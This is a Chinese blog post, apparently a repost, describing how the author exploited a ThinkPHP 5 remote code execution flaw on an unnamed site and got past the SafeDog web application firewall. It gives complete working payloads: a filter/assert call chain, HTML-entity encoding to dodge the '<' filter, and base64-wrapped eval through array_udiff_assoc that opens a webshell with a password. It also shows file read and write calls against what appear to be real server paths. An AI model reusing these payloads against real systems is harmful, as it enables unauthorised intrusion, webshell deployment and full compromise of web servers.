tp5漏洞payload过waf(安全狗)

搞某XX站,存在TP5漏洞,但是有安全狗,直接getshell不了,过滤了很多敏感字符,比如eval,copy等等

 

 这里我想到了二个思路:

①   使用copy()或者file_put_contents()函数写入过狗一句话代码,并且接收payload的参数经过base64解密,对应的传参经过base64加密;

②   在tp 5的POC上利用assert函数执行eval函数,eval函数使用$_REQUEST数组接收参数,并且接受的参数经过base64解密,对应的传参也要经过base64加密

   

艰辛的过程:

①    

_method=__construct&filter[]=assert&method=get&get[]=file_put_contents("123.txt","%26%6c%74%3b?php phpinfo; ?>")

 

 <进行了过滤,只要<xxxxx都会被过滤,用HTML实体编码&lt;绕过,注意需要url编码,也可以使用copy函数

后面测试发现能解析的路径没有权限,并且不能创建php文件

②    

_method=__construct&filter[]=assert&method=get&get[]=array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert")&123= cGhwaW5mbygpOw==

使用array_udiff_assoc函数回调assert函数,参数经过base64解密,这样就能直接连接webshell管理工具,密码是123,webshell管理工具的payload要经过base64加密

 

最终payload使用eval函数,密码1


_method=__construct&filter[]=assert&method=get&get[]=array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert")&123=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsxXSkp&1=cGhwaW5mbygpOw==

附测试过程用的函数:

file_get_contents("D:/wwwroot/www.huiyijia.top/web/2.php") 读取文件

print_r() 输出函数,echo和print是语言结构

file_exists() 判定某个文件是否存在                

file_put_contents("D:/wwwroot/www.huiyijia.top/extend/123.txt","1234.php") 写入文件

array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert") 第三个参数是回调函数,第一个参数和第二个参数调用回调函数进行比较,返回值是数组

原文地址:https://www.cnblogs.com/supdon/p/13469851.html